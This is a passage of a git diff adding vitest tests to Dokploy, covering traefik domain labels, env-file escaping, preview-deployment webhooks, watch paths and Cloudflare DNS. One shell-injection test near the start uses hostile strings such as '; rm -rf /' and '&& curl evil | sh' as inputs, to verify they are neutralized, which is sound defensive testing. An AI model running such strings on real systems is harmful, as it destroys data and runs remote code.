occurred an error"); + // The payload text may appear inside the single-quoted echo argument, but + // it must never parse as a shell operator ($(), backtick, ; …). + expect(leaksShellSyntax(result, "touch")).toBe(false); + }); + + it("neutralizes backtick and semicolon payloads too", async () => { + for (const payload of ["`id`", "; rm -rf /", "&& curl evil | sh"]) { + const result = await writeDomainsToCompose(baseCompose, [ + makeDomain(`svc${payload}`), + ]); + expect(leaksShellSyntax(result, "rm")).toBe(false); + expect(leaksShellSyntax(result, "curl")).toBe(false); + expect(leaksShellSyntax(result, "id")).toBe(false); + } + }); +}); diff --git a/apps/dokploy/__test__/compose/domain/enabled-filter.test.ts b/apps/dokploy/__test__/compose/domain/enabled-filter.test.ts new file mode 100644 index 000000000..580a33d96 --- /dev/null +++ b/apps/dokploy/__test__/compose/domain/enabled-filter.test.ts @@ -0,0 +1,306 @@ +import type { Compose } from "@dokploy/server/services/compose"; +import type { Domain } from "@dokploy/server/services/domain"; +import { addDomainToCompose } from "@dokploy/server/utils/docker/domain"; +import { beforeEach, describe, expect, it, vi } from "vitest"; + +// With sourceType "raw", addDomainToCompose parses compose.composeFile +// directly instead of reading from disk, so baseCompose exposes it as a +// getter that always reflects the current composeYaml for each test case. +const baseComposeYaml = ` +services: + frigate: + image: frigate +`; +let composeYaml = baseComposeYaml; + +const baseCompose = { + appName: "test-app", + composeType: "docker-compose", + composePath: "docker-compose.yml", + sourceType: "raw", + serverId: null, + isolatedDeployment: false, + randomize: false, + suffix: "", + get composeFile() { + return composeYaml; + }, +} as unknown as Compose; + +const baseDomain: Domain = { + host: "frigate.example.com", + port: 8971, + customEntrypoint: null, + https: false, + uniqueConfigKey: 1, + customCertResolver: null, + certificateType: "none", + applicationId: "", + composeId: "compose-id", + domainType: "compose", + serviceName: "frigate", + domainId: "domain-id", + path: "/", + createdAt: "", + previewDeploymentId: "", + internalPath: "/", + stripPath: false, + middlewares: null, + forwardAuthEnabled: false, + enabled: true, +}; + +const serviceLabels = ( + result: Awaited>, +) => (result?.services?.frigate?.labels as string[] | undefined) ?? []; + +describe("addDomainToCompose enabled filtering", () => { + beforeEach(() => { + vi.clearAllMocks(); + composeYaml = baseComposeYaml; + }); + + it("generates traefik labels for an enabled domain", async () => { + const result = await addDomainToCompose(baseCompose, [ + { ...baseDomain, enabled: true }, + ]); + + const labels = serviceLabels(result); + expect(labels).toContain("traefik.enable=true"); + expect(labels.some((l) => l.includes("Host(`frigate.example.com`)"))).toBe( + true, + ); + }); + + it("skips a disabled domain entirely (no traefik labels)", async () => { + const result = await addDomainToCompose(baseCompose, [ + { ...baseDomain, enabled: false }, + ]); + + const labels = serviceLabels(result); + expect(labels).not.toContain("traefik.enable=true"); + expect(labels.some((l) => l.includes("Host(`frigate.example.com`)"))).toBe( + false, + ); + }); + + it.each([ + [ + "docker-compose", + `services: + frigate: + image: frigate + labels: + - traefik.enable=true + - traefik.http.routers.test-app-1-web.rule=Host(\`frigate.example.com\`) + - traefik.http.services.test-app-1-web.loadbalancer.server.port=8971 + - traefik.http.middlewares.stripprefix-test-app-1.stripprefix.prefixes=/api + - custom.label=preserved +`, + ], + [ + "stack", + `services: + frigate: + image: frigate + deploy: + labels: + - traefik.enable=true + - traefik.http.routers.test-app-1-web.rule=Host(\`frigate.example.com\`) + - traefik.http.services.test-app-1-web.loadbalancer.server.port=8971 + - traefik.http.middlewares.stripprefix-test-app-1.stripprefix.prefixes=/api + - custom.label=preserved +`, + ], + ] as const)( + "removes stale labels for a disabled domain from %s rebuilds", + async (composeType, staleComposeYaml) => { + composeYaml = staleComposeYaml; + + const result = await addDomainToCompose({ ...baseCompose, composeType }, [ + { ...baseDomain, enabled: false }, + ]); + + const service = result?.services?.frigate; + const labels = + composeType === "docker-compose" + ? service?.labels + : service?.deploy?.labels; + expect(labels).toContain("custom.label=preserved"); + expect( + (labels as string[]).some((label) => label.includes("test-app-1")), + ).toBe(false); + }, + ); + + it.each([ + [ + "docker-compose", + `services: + legacy: + image: frigate + labels: + - traefik.http.routers.test-app-1-web.rule=Host(\`frigate.example.com\`) + - traefik.http.services.test-app-1-web.loadbalancer.server.port=8971 + - custom.label=preserved + frigate: + image: frigate +`, + ], + [ + "stack", + `services: + legacy: + image: frigate + deploy: + labels: + - traefik.http.routers.test-app-1-web.rule=Host(\`frigate.example.com\`) + - traefik.http.services.test-app-1-web.loadbalancer.server.port=8971 + - custom.label=preserved + frigate: + image: frigate +`, + ], + ] as const)( + "removes stale labels from the previous %s service after reassignment", + async (composeType, staleComposeYaml) => { + composeYaml = staleComposeYaml; + + const result = await addDomainToCompose({ ...baseCompose, composeType }, [ + { ...baseDomain, serviceName: "frigate", enabled: false }, + ]); + + const previousService = result?.services?.legacy; + const labels = + composeType === "docker-compose" + ? previousService?.labels + : previousService?.deploy?.labels; + expect(labels).toContain("custom.label=preserved"); + expect( + (labels as string[]).some((label) => label.includes("test-app-1")), + ).toBe(false); + }, + ); + + it.each([ + [ + "docker-compose", + `services: + frigate: + image: frigate + labels: + traefik.enable: "true" + traefik.http.routers.test-app-1-web.rule: Host(\`frigate.example.com\`) + traefik.http.services.test-app-1-web.loadbalancer.server.port: 8971 + traefik.http.middlewares.stripprefix-test-app-1.stripprefix.prefixes: /api + custom.label: preserved +`, + ], + [ + "stack", + `services: + frigate: + image: frigate + deploy: + labels: + traefik.enable: "true" + traefik.http.routers.test-app-1-web.rule: Host(\`frigate.example.com\`) + traefik.http.services.test-app-1-web.loadbalancer.server.port: 8971 + traefik.http.middlewares.stripprefix-test-app-1.stripprefix.prefixes: /api + custom.label: preserved +`, + ], + ] as const)( + "removes stale mapping labels for a disabled domain from %s rebuilds", + async (composeType, staleComposeYaml) => { + composeYaml = staleComposeYaml; + + const result = await addDomainToCompose({ ...baseCompose, composeType }, [ + { ...baseDomain, enabled: false }, + ]); + + const service = result?.services?.frigate; + const labels = + composeType === "docker-compose" + ? service?.labels + : service?.deploy?.labels; + expect(labels).toMatchObject({ "custom.label": "preserved" }); + expect( + Object.keys(labels ?? {}).some((label) => label.includes("test-app-1")), + ).toBe(false); + }, + ); + + it.each([ + [ + "docker-compose", + `services: + frigate: + image: frigate + labels: + traefik.enable: "true" + traefik.http.routers.test-app-1-web.rule: Host(\`old.example.com\`) + traefik.http.services.test-app-1-web.loadbalancer.server.port: 8971 + custom.label: preserved +`, + "traefik.docker.network", + ], + [ + "stack", + `services: + frigate: + image: frigate + deploy: + labels: + traefik.enable: "true" + traefik.http.routers.test-app-1-web.rule: Host(\`old.example.com\`) + traefik.http.services.test-app-1-web.loadbalancer.server.port: 8971 + custom.label: preserved +`, + "traefik.swarm.network", + ], + ] as const)( + "regenerates routing in mapping labels for an enabled domain in %s", + async (composeType, mappingComposeYaml, networkLabel) => { + composeYaml = mappingComposeYaml; + + const result = await addDomainToCompose({ ...baseCompose, composeType }, [ + { ...baseDomain, enabled: true }, + ]); + + const service = result?.services?.frigate; + const labels = + composeType === "docker-compose" + ? service?.labels + : service?.deploy?.labels; + expect(labels).toMatchObject({ + "custom.label": "preserved", + "traefik.enable": "true", + [networkLabel]: "dokploy-network", + "traefik.http.routers.test-app-1-web.rule": + "Host(`frigate.example.com`)", + "traefik.http.services.test-app-1-web.loadbalancer.server.port": "8971", + }); + }, + ); + + it("emits labels only for the enabled domain when both are present", async () => { + const result = await addDomainToCompose(baseCompose, [ + { ...baseDomain, host: "enabled.example.com", enabled: true }, + { + ...baseDomain, + host: "disabled.example.com", + uniqueConfigKey: 2, + enabled: false, + }, + ]); + + const labels = serviceLabels(result); + expect(labels.some((l) => l.includes("Host(`enabled.example.com`)"))).toBe( + true, + ); + expect(labels.some((l) => l.includes("Host(`disabled.example.com`)"))).toBe( + false, + ); + }); +}); diff --git a/apps/dokploy/__test__/compose/domain/host-rule-format.test.ts b/apps/dokploy/__test__/compose/domain/host-rule-format.test.ts index 07fc42c33..027e2f69d 100644 --- a/apps/dokploy/__test__/compose/domain/host-rule-format.test.ts +++ b/apps/dokploy/__test__/compose/domain/host-rule-format.test.ts @@ -35,6 +35,7 @@ describe("Host rule format regression tests", () => { customEntrypoint: null, middlewares: null, forwardAuthEnabled: false, + enabled: true, }; describe("Host rule format validation", () => { diff --git a/apps/dokploy/__test__/compose/domain/labels.test.ts b/apps/dokploy/__test__/compose/domain/labels.test.ts index e48b54452..57e018baf 100644 --- a/apps/dokploy/__test__/compose/domain/labels.test.ts +++ b/apps/dokploy/__test__/compose/domain/labels.test.ts @@ -24,6 +24,7 @@ describe("createDomainLabels", () => { stripPath: false, middlewares: null, forwardAuthEnabled: false, + enabled: true, }; it("should create basic labels for web entrypoint", async () => { diff --git a/apps/dokploy/__test__/compose/domain/raw-compose.test.ts b/apps/dokploy/__test__/compose/domain/raw-compose.test.ts new file mode 100644 index 000000000..abee0dc59 --- /dev/null +++ b/apps/dokploy/__test__/compose/domain/raw-compose.test.ts @@ -0,0 +1,59 @@ +import { addDomainToCompose } from "@dokploy/server/utils/docker/domain"; +import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync"; +import { describe, expect, it, vi } from "vitest"; + +vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => ({ + ...(await importOriginal< + typeof import("@dokploy/server/utils/process/execAsync") + >()), + execAsyncRemote: vi.fn(), +})); + +describe("raw remote compose conversion (#4794)", () => { + it("uses the saved raw source and preserves supported mount syntax", async () => { + vi.mocked(execAsyncRemote).mockResolvedValue({ + stdout: "services:\n test:\n image: alpine:latest\n", + stderr: "", + }); + + const compose = { + appName: "raw-stack", + composeFile: ` +services: + test: + image: alpine:latest + volumes: + - type: tmpfs + target: /scratch + - type: volume + source: test-data + target: /data + tmpfs: + - /cache +volumes: + test-data: +`, + composePath: "./docker-compose.yml", + composeType: "stack", + isolatedDeployment: false, + isolatedDeploymentsVolume: false, + randomize: false, + serverId: "remote-server", + sourceType: "raw", + suffix: "", + } as unknown as Parameters[0]; + + const converted = await addDomainToCompose(compose, []); + + expect(converted?.services?.test?.volumes).toEqual([ + { type: "tmpfs", target: "/scratch" }, + { + type: "volume", + source: "test-data", + target: "/data", + }, + ]); + expect(converted?.services?.test?.tmpfs).toEqual(["/cache"]); + expect(execAsyncRemote).not.toHaveBeenCalled(); + }); +}); diff --git a/apps/dokploy/__test__/compose/env-file-literals.test.ts b/apps/dokploy/__test__/compose/env-file-literals.test.ts new file mode 100644 index 000000000..1c7ee65b0 --- /dev/null +++ b/apps/dokploy/__test__/compose/env-file-literals.test.ts @@ -0,0 +1,111 @@ +import { execFileSync } from "node:child_process"; +import { mkdirSync, rmSync, writeFileSync } from "node:fs"; +import { join } from "node:path"; +import { getCreateEnvFileCommand } from "@dokploy/server/utils/builders/compose"; +import { afterEach, describe, expect, it } from "vitest"; + +// Regression coverage for https://github.com/Dokploy/dokploy/issues/4694 — +// values must survive Docker Compose's own `.env` parsing, not just base64 decode. +const appName = `env-file-literals-${process.pid}`; +const projectPath = join(process.cwd(), ".docker", "compose", appName); +const codePath = join(projectPath, "code"); + +afterEach(() => { + try { + execFileSync("docker", ["compose", "down", "--remove-orphans"], { + cwd: codePath, + stdio: "ignore", + }); + } catch { + // Project may not have been created (e.g. an earlier assertion failed). + } + rmSync(projectPath, { force: true, recursive: true }); +}); + +const cases: Record = { + PASSWORD: "pa$$word", + SPECIAL: '!"#$%&/()=?', + NESTED_JSON: '{"nested":{"a":1}}', + MAIL_PASSWORD: "abc#de", + TRAILING_BACKSLASH: "trailing\\", + QUOTE_INSIDE: 'she said "hi"', + APOSTROPHE: "it's a test", + UNICODE: "héllo wörld 日本語 🚀", + MULTILINE_PEM: "-----BEGIN KEY-----\nabc123\n-----END KEY-----", + APP_URL: "https://example.com", + ASSET_URL: "https://example.com", + DB_HOST: "localhost", +}; + +// How each value must be typed in the UI so the (unchanged) dotenv input +// parser resolves it to the raw string in `cases` above. +const inputEncoding: Record = { + PASSWORD: "pa$$word", + SPECIAL: `'!"#$%&/()=?'`, + NESTED_JSON: '{"nested":{"a":1}}', + MAIL_PASSWORD: `"abc#de"`, + TRAILING_BACKSLASH: "trailing\\", + QUOTE_INSIDE: 'she said "hi"', + APOSTROPHE: "it's a test", + UNICODE: "héllo wörld 日本語 🚀", + MULTILINE_PEM: '"-----BEGIN KEY-----\nabc123\n-----END KEY-----"', + APP_URL: "https://example.com", + ASSET_URL: '"${APP_URL}"', + DB_HOST: '"${UNDEFINED_HOST:-localhost}"', +}; + +const hasDocker = () => { + try { + execFileSync("docker", ["info"], { stdio: "ignore" }); + return true; + } catch { + return false; + } +}; + +describe.skipIf(!hasDocker())("getCreateEnvFileCommand", () => { + it("writes special environment values that Docker Compose reads back literally", () => { + mkdirSync(codePath, { recursive: true }); + + const serviceEnv = Object.entries(inputEncoding) + .map(([key, value]) => `${key}=${value}`) + .join("\n"); + + const command = getCreateEnvFileCommand({ + appName, + composePath: "docker-compose.yml", + env: serviceEnv, + randomize: false, + suffix: "", + serverId: null, + environment: { project: { env: "" }, env: "" }, + } as Parameters[0]); + + execFileSync("bash", ["-c", command]); + + const composeFile = `services:\n test:\n image: busybox\n environment:\n${Object.keys( + cases, + ) + .map((key) => ` - ${key}=\${${key}}`) + .join("\n")}\n`; + writeFileSync(join(codePath, "docker-compose.yml"), composeFile); + + const dumpScript = `for k in ${Object.keys(cases).join(" ")}; do printf '%s\\0' "$k"; eval "printf '%s\\0' \\"\\$$k\\""; done`; + + const out = execFileSync( + "docker", + ["compose", "run", "--rm", "-T", "test", "sh", "-c", dumpScript], + { cwd: codePath, encoding: "utf8" }, + ); + + const parts = out.split("\0"); + const actual: Record = {}; + for (let i = 0; i < parts.length - 1; i += 2) { + actual[parts[i] as string] = parts[i + 1] as string; + } + + for (const [key, value] of Object.entries(cases)) { + expect(actual[key], key).toBe(value); + } + }, 60000); +}); diff --git a/apps/dokploy/__test__/compose/env-file-preserved.test.ts b/apps/dokploy/__test__/compose/env-file-preserved.test.ts new file mode 100644 index 000000000..03aa057c4 --- /dev/null +++ b/apps/dokploy/__test__/compose/env-file-preserved.test.ts @@ -0,0 +1,45 @@ +import { getBuildComposeCommand } from "@dokploy/server/utils/builders/compose"; +import { describe, expect, it, vi } from "vitest"; + +// Compose now has a `createEnvFile` toggle (default true), mirroring the +// Application builder's flag: when disabled, Dokploy never writes `.env`, +// so a repo-tracked file survives untouched. +vi.mock("@dokploy/server/utils/docker/domain", () => ({ + writeDomainsToCompose: vi.fn().mockResolvedValue(""), +})); + +const baseCompose = { + appName: "env-file-toggle", + sourceType: "raw", + command: "", + composePath: "docker-compose.yml", + composeType: "docker-compose", + isolatedDeployment: false, + randomize: false, + suffix: "", + serverId: null, + env: "FOO=bar", + mounts: [], + domains: [], + environment: { project: { env: "" }, env: "" }, +} as unknown as Parameters[0]; + +describe("getBuildComposeCommand createEnvFile toggle", () => { + it("createEnvFile: false never writes the .env file", async () => { + const command = await getBuildComposeCommand({ + ...baseCompose, + createEnvFile: false, + }); + + expect(command).not.toContain("base64 -d >"); + }); + + it("createEnvFile: true (default) writes Dokploy's vars", async () => { + const command = await getBuildComposeCommand({ + ...baseCompose, + createEnvFile: true, + }); + + expect(command).toContain("base64 -d >"); + }); +}); diff --git a/apps/dokploy/__test__/compose/model/model.test.ts b/apps/dokploy/__test__/compose/model/model.test.ts new file mode 100644 index 000000000..d808dcc00 --- /dev/null +++ b/apps/dokploy/__test__/compose/model/model.test.ts @@ -0,0 +1,113 @@ +import type { Compose, ComposeSpecification } from "@dokploy/server"; +import { + addAppNameToPreventCollision, + addSuffixToAllProperties, +} from "@dokploy/server"; +import { addDomainToCompose } from "@dokploy/server/utils/docker/domain"; +import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync"; +import { expect, test, vi } from "vitest"; +import { stringify } from "yaml"; +import composeSpec from "../../../components/shared/compose-spec.json"; + +vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => ({ + ...(await importOriginal< + typeof import("@dokploy/server/utils/process/execAsync") + >()), + execAsyncRemote: vi.fn(), +})); + +const modelCompose = { + services: { + app: { + image: "my-chat-app", + models: ["llm"], + }, + worker: { + image: "my-worker", + models: { + llm: { + endpoint_var: "LLM_URL", + model_var: "LLM_MODEL", + }, + }, + }, + }, + models: { + llm: { + model: "ai/smollm2", + context_size: 2048, + runtime_flags: ["--verbose"], + }, + }, +} satisfies ComposeSpecification; + +test("bundled compose schema declares models", () => { + expect(composeSpec.properties).toHaveProperty("models"); + expect(composeSpec.definitions.model.required).toEqual(["model"]); + expect(composeSpec.definitions.service.properties).toHaveProperty("models"); +}); + +test("suffixing does not rename model identifiers or drop model config", () => { + const updated = addSuffixToAllProperties( + structuredClone(modelCompose), + "testhash", + ); + + expect(updated.models?.llm?.model).toBe("ai/smollm2"); + expect(updated.models?.llm?.context_size).toBe(2048); + expect(updated.models?.llm?.runtime_flags).toEqual(["--verbose"]); + expect(updated.services?.["app-testhash"]?.models).toEqual(["llm"]); + expect(updated.services?.["worker-testhash"]?.models).toEqual({ + llm: { + endpoint_var: "LLM_URL", + model_var: "LLM_MODEL", + }, + }); + expect(updated.services).not.toHaveProperty("app"); + expect(updated.models).not.toHaveProperty("llm-testhash"); +}); + +test("isolated deployment preserves model identifiers", () => { + const updated = addAppNameToPreventCollision( + structuredClone(modelCompose), + "chat-app", + false, + ); + + expect(updated.models?.llm?.model).toBe("ai/smollm2"); + expect(updated.services?.app?.models).toEqual(["llm"]); + expect(updated.services?.worker?.models).toEqual({ + llm: { + endpoint_var: "LLM_URL", + model_var: "LLM_MODEL", + }, + }); +}); + +test("raw remote compose conversion preserves models", async () => { + const converted = await addDomainToCompose( + { + appName: "chat-app", + composeFile: stringify(modelCompose, { lineWidth: 1000 }), + composePath: "./docker-compose.yml", + composeType: "docker-compose", + isolatedDeployment: false, + isolatedDeploymentsVolume: false, + randomize: false, + serverId: "remote-server", + sourceType: "raw", + suffix: "", + } as unknown as Compose, + [], + ); + + expect(execAsyncRemote).not.toHaveBeenCalled(); + expect(converted?.models?.llm?.model).toBe("ai/smollm2"); + expect(converted?.services?.app?.models).toEqual(["llm"]); + expect(converted?.services?.worker?.models).toEqual({ + llm: { + endpoint_var: "LLM_URL", + model_var: "LLM_MODEL", + }, + }); +}); diff --git a/apps/dokploy/__test__/compose/provider-status.test.ts b/apps/dokploy/__test__/compose/provider-status.test.ts new file mode 100644 index 000000000..88f299b21 --- /dev/null +++ b/apps/dokploy/__test__/compose/provider-status.test.ts @@ -0,0 +1,66 @@ +import { beforeEach, describe, expect, it, vi } from "vitest"; + +const mockUpdateCompose = vi.hoisted(() => vi.fn()); + +vi.mock("@dokploy/server/services/permission", () => ({ + checkServicePermissionAndAccess: vi.fn(async () => undefined), +})); + +vi.mock("@dokploy/server", () => ({ + IS_CLOUD: true, + findComposeById: vi.fn(async () => ({ + composeId: "compose-1", + name: "example-compose", + })), + updateCompose: mockUpdateCompose, +})); + +vi.mock("@dokploy/server/lib/auth", () => ({ + validateRequest: vi.fn(), +})); + +vi.mock("@/server/api/utils/audit", () => ({ + audit: vi.fn(async () => undefined), +})); + +vi.mock("@/server/queues/queueSetup", () => ({ + cleanQueuesByCompose: vi.fn(), + killDockerBuild: vi.fn(), + myQueue: { + add: vi.fn(), + }, +})); + +const { composeRouter } = await import("@/server/api/routers/compose"); + +const caller = composeRouter.createCaller({ + session: { activeOrganizationId: "org-1" }, + user: { id: "user-1", email: "user@example.com", role: "owner" }, +} as Parameters[0]); + +describe("saving a compose provider", () => { + beforeEach(() => { + vi.clearAllMocks(); + }); + + it.each(["done", "running"])( + "keeps the %s status when disconnecting a Git provider", + async (status) => { + let savedStatus = status; + mockUpdateCompose.mockImplementation(async (_id, update) => { + if (update.composeStatus !== undefined) { + savedStatus = update.composeStatus; + } + }); + + await caller.disconnectGitProvider({ composeId: "compose-1" }); + + expect(savedStatus).toBe(status); + expect(mockUpdateCompose).toHaveBeenCalledTimes(1); + expect(mockUpdateCompose).toHaveBeenCalledWith( + "compose-1", + expect.objectContaining({ sourceType: "github" }), + ); + }, + ); +}); diff --git a/apps/dokploy/__test__/deploy/env-file-literals-dockerfile.test.ts b/apps/dokploy/__test__/deploy/env-file-literals-dockerfile.test.ts new file mode 100644 index 000000000..4ce0f5ded --- /dev/null +++ b/apps/dokploy/__test__/deploy/env-file-literals-dockerfile.test.ts @@ -0,0 +1,43 @@ +import { execFileSync } from "node:child_process"; +import { mkdirSync, readFileSync, rmSync } from "node:fs"; +import { join } from "node:path"; +import { createEnvFileCommand } from "@dokploy/server/utils/builders/utils"; +import { parse } from "dotenv"; +import { afterEach, describe, expect, it } from "vitest"; + +// Unlike compose's .env, this one is read by the app's own build tooling +// (generic dotenv, e.g. Next.js/Vite) — must stay unquoted, not Compose-escaped. +const appName = `env-file-literals-dockerfile-${process.pid}`; +const projectPath = join(process.cwd(), ".docker", "compose", appName); +const codePath = join(projectPath, "code"); +const dockerFilePath = join(codePath, "Dockerfile"); + +afterEach(() => rmSync(projectPath, { force: true, recursive: true })); + +const cases: Record = { + PASSWORD: "pa$$word", + NESTED_JSON: '{"nested":{"a":1}}', + QUOTE_INSIDE: 'she said "hi"', + BACKSLASH: "back\\slash", + UNICODE: "héllo wörld 日本語 🚀", +}; + +describe("createEnvFileCommand", () => { + it("writes special environment values that a generic dotenv parser reads back literally", () => { + mkdirSync(codePath, { recursive: true }); + + const serviceEnv = Object.entries(cases) + .map(([key, value]) => `${key}=${value}`) + .join("\n"); + + const command = createEnvFileCommand(dockerFilePath, serviceEnv, "", ""); + execFileSync("bash", ["-c", command]); + + const written = readFileSync(join(codePath, ".env"), "utf8"); + const parsed = parse(written); + + for (const [key, value] of Object.entries(cases)) { + expect(parsed[key], key).toBe(value); + } + }); +}); diff --git a/apps/dokploy/__test__/deploy/github-webhook-handler.test.ts b/apps/dokploy/__test__/deploy/github-webhook-handler.test.ts index e25bd425e..6b61c97d7 100644 --- a/apps/dokploy/__test__/deploy/github-webhook-handler.test.ts +++ b/apps/dokploy/__test__/deploy/github-webhook-handler.test.ts @@ -12,6 +12,8 @@ const mocks = vi.hoisted(() => ({ queueAdd: vi.fn(), verify: vi.fn(), shouldDeploy: vi.fn(), + createPreviewDeployment: vi.fn(), + findPreviewDeploymentByApplicationId: vi.fn(), })); vi.mock("drizzle-orm", () => ({ @@ -64,10 +66,11 @@ vi.mock("@dokploy/server", () => ({ IS_CLOUD: false, shouldDeploy: mocks.shouldDeploy, checkUserRepositoryPermissions: vi.fn(), - createPreviewDeployment: vi.fn(), + createPreviewDeployment: mocks.createPreviewDeployment, createSecurityBlockedComment: vi.fn(), findGithubById: vi.fn(), - findPreviewDeploymentByApplicationId: vi.fn(), + findPreviewDeploymentByApplicationId: + mocks.findPreviewDeploymentByApplicationId, findPreviewDeploymentsByPullRequestId: vi.fn(), getBitbucketHeaders: vi.fn(() => ({})), removePreviewDeployment: vi.fn(), @@ -321,3 +324,157 @@ describe("GitHub app webhook auto-deploy", () => { expect(res.json).toHaveBeenCalledWith({ message: "No apps to deploy" }); }); }); + +describe("GitHub app webhook preview deployments", () => { + const createApplication = ( + overrides: Record = {}, + ): Record => ({ + applicationId: "application-id", + name: "my-app", + serverId: null, + previewLabels: [], + previewLimit: 3, + previewDeployments: [], + previewRequireCollaboratorPermissions: false, + ...overrides, + }); + + const createPreviewDeployments = (total: number) => + Array.from({ length: total }, (_, index) => ({ + previewDeploymentId: `existing-preview-${index}`, + })); + + const createPullRequestRequest = (action: string) => + ({ + headers: { + "x-hub-signature-256": "sha256=test-signature", + "x-github-event": "pull_request", + }, + body: { + installation: { + id: 12345, + }, + action, + pull_request: { + id: 987, + number: 42, + title: "feat: add preview", + html_url: "https://github.com/agentHits/dokploy/pull/42", + labels: [], + user: { + login: "agentHits", + }, + head: { + ref: "feature", + sha: "abc123", + }, + base: { + ref: "main", + }, + }, + repository: { + name: "dokploy", + owner: { + login: "agentHits", + }, + }, + }, + }) as unknown as NextApiRequest; + + beforeEach(() => { + vi.clearAllMocks(); + mocks.githubFindFirst.mockResolvedValue({ + githubId: "github-provider-id", + githubInstallationId: 12345, + githubWebhookSecret: "webhook-secret", + }); + mocks.verify.mockResolvedValue(true); + mocks.queueAdd.mockResolvedValue({ id: "job-id" }); + mocks.createPreviewDeployment.mockResolvedValue({ + previewDeploymentId: "new-preview-id", + }); + mocks.findPreviewDeploymentByApplicationId.mockResolvedValue(undefined); + }); + + it("redeploys an existing preview even when the limit is reached", async () => { + mocks.applicationsFindMany.mockResolvedValue([ + createApplication({ + previewLimit: 2, + previewDeployments: createPreviewDeployments(3), + }), + ]); + mocks.findPreviewDeploymentByApplicationId.mockResolvedValue({ + previewDeploymentId: "existing-preview-0", + }); + const res = createResponse(); + + await handler(createPullRequestRequest("synchronize"), res); + + expect(mocks.createPreviewDeployment).not.toHaveBeenCalled(); + expect(mocks.queueAdd).toHaveBeenCalledWith( + "deployments", + expect.objectContaining({ + applicationId: "application-id", + applicationType: "application-preview", + previewDeploymentId: "existing-preview-0", + type: "deploy", + }), + expect.objectContaining({ + removeOnComplete: true, + removeOnFail: true, + }), + ); + expect(res.status).toHaveBeenCalledWith(200); + }); + + it("does not create a new preview once the limit is reached", async () => { + mocks.applicationsFindMany.mockResolvedValue([ + createApplication({ + previewLimit: 2, + previewDeployments: createPreviewDeployments(2), + }), + ]); + const res = createResponse(); + + await handler(createPullRequestRequest("opened"), res); + + expect(mocks.createPreviewDeployment).not.toHaveBeenCalled(); + expect(mocks.queueAdd).not.toHaveBeenCalled(); + expect(res.status).toHaveBeenCalledWith(200); + }); + + it("falls back to the default limit when none is configured", async () => { + mocks.applicationsFindMany.mockResolvedValue([ + createApplication({ + previewLimit: null, + previewDeployments: createPreviewDeployments(2), + }), + ]); + const res = createResponse(); + + await handler(createPullRequestRequest("opened"), res); + + expect(mocks.createPreviewDeployment).toHaveBeenCalledWith( + expect.objectContaining({ + applicationId: "application-id", + branch: "feature", + pullRequestId: 987, + pullRequestNumber: 42, + }), + ); + expect(mocks.queueAdd).toHaveBeenCalledWith( + "deployments", + expect.objectContaining({ + applicationId: "application-id", + applicationType: "application-preview", + previewDeploymentId: "new-preview-id", + type: "deploy", + }), + expect.objectContaining({ + removeOnComplete: true, + removeOnFail: true, + }), + ); + expect(res.status).toHaveBeenCalledWith(200); + }); +}); diff --git a/apps/dokploy/__test__/deploy/railpack.command.test.ts b/apps/dokploy/__test__/deploy/railpack.command.test.ts index 94c95c950..13345ac0f 100644 --- a/apps/dokploy/__test__/deploy/railpack.command.test.ts +++ b/apps/dokploy/__test__/deploy/railpack.command.test.ts @@ -50,6 +50,15 @@ describe("getRailpackCommand", () => { expect(command).toContain("--build-arg cache-key="); }); + it("installs Railpack through sudo for non-root users", () => { + const command = getRailpackCommand(createApplication()); + + expect(command).toContain( + '$SUDO_CMD bash -c "$(curl -fsSL https://railpack.com/install.sh)"', + ); + expect(command).toContain("sudo -n true 2>/dev/null"); + }); + it("changes secrets-hash when an environment value changes", () => { const firstCommand = getRailpackCommand( createApplication({ diff --git a/apps/dokploy/__test__/deploy/should-deploy.test.ts b/apps/dokploy/__test__/deploy/should-deploy.test.ts index d9a1c0244..8b0da4428 100644 --- a/apps/dokploy/__test__/deploy/should-deploy.test.ts +++ b/apps/dokploy/__test__/deploy/should-deploy.test.ts @@ -16,6 +16,30 @@ describe("shouldDeploy", () => { expect(shouldDeploy(["src/**"], ["docs/readme.md"])).toBe(false); }); + it("should apply multiple negated watch paths as one pattern set", () => { + const watchPaths = ["!CHANGELOG.md", "!VERSION", "!tests/**"]; + + expect(shouldDeploy(watchPaths, ["CHANGELOG.md"])).toBe(false); + expect(shouldDeploy(watchPaths, ["VERSION"])).toBe(false); + expect(shouldDeploy(watchPaths, ["tests/unit/example.test.ts"])).toBe( + false, + ); + }); + + it("should deploy when a changed file remains after exclusions", () => { + const watchPaths = ["!CHANGELOG.md", "!VERSION", "!tests/**"]; + + expect(shouldDeploy(watchPaths, ["VERSION", "src/index.ts"])).toBe(true); + }); + + it("should combine positive and negated watch paths", () => { + const watchPaths = ["src/**", "!src/**/*.test.ts"]; + + expect(shouldDeploy(watchPaths, ["src/index.ts"])).toBe(true); + expect(shouldDeploy(watchPaths, ["src/index.test.ts"])).toBe(false); + expect(shouldDeploy(watchPaths, ["docs/readme.md"])).toBe(false); + }); + it("should not throw when modified files contain non-string values", () => { expect(() => shouldDeploy(["src/**"], ["src/index.ts", undefined, null] as any), diff --git a/apps/dokploy/__test__/dns/cloudflare.test.ts b/apps/dokploy/__test__/dns/cloudflare.test.ts new file mode 100644 index 000000000..8edc07885 --- /dev/null +++ b/apps/dokploy/__test__/dns/cloudflare.test.ts @@ -0,0 +1,453 @@ +import { beforeEach, describe, expect, it, vi } from "vitest"; + +const mockFetch = vi.fn(); +global.fetch = mockFetch as typeof fetch; + +import { cloudflareClient } from "@dokploy/server/utils/dns/cloudflare"; + +const jsonResponse = (body: unknown, ok = true, status = 200) => + ({ + ok, + status, + json: async () => body, + }) as Response; + +const cfSuccess = (result: unknown) => + jsonResponse({ success: true, errors: [], result }); + +const cfError = (message: string, status = 400) => + jsonResponse( + { success: false, errors: [{ code: 1, message }] }, + false, + status, + ); + +const config = { providerType: "cloudflare" as const, apiToken: "cf-token" }; + +beforeEach(() => { + mockFetch.mockReset(); +}); + +describe("cloudflareClient.listZones", () => { + it("returns a single page of zones", async () => { + mockFetch.mockResolvedValue(cfSuccess([{ id: "z1", name: "example.com" }])); + + const zones = await cloudflareClient.listZones(config); + + expect(zones).toEqual([{ id: "z1", name: "example.com" }]); + expect(mockFetch).toHaveBeenCalledTimes(1); + const [url] = mockFetch.mock.calls[0] as [string]; + expect(url).toContain("/zones?per_page=50&page=1"); + }); + + it("paginates until a short page is returned", async () => { + const page = (count: number) => + cfSuccess( 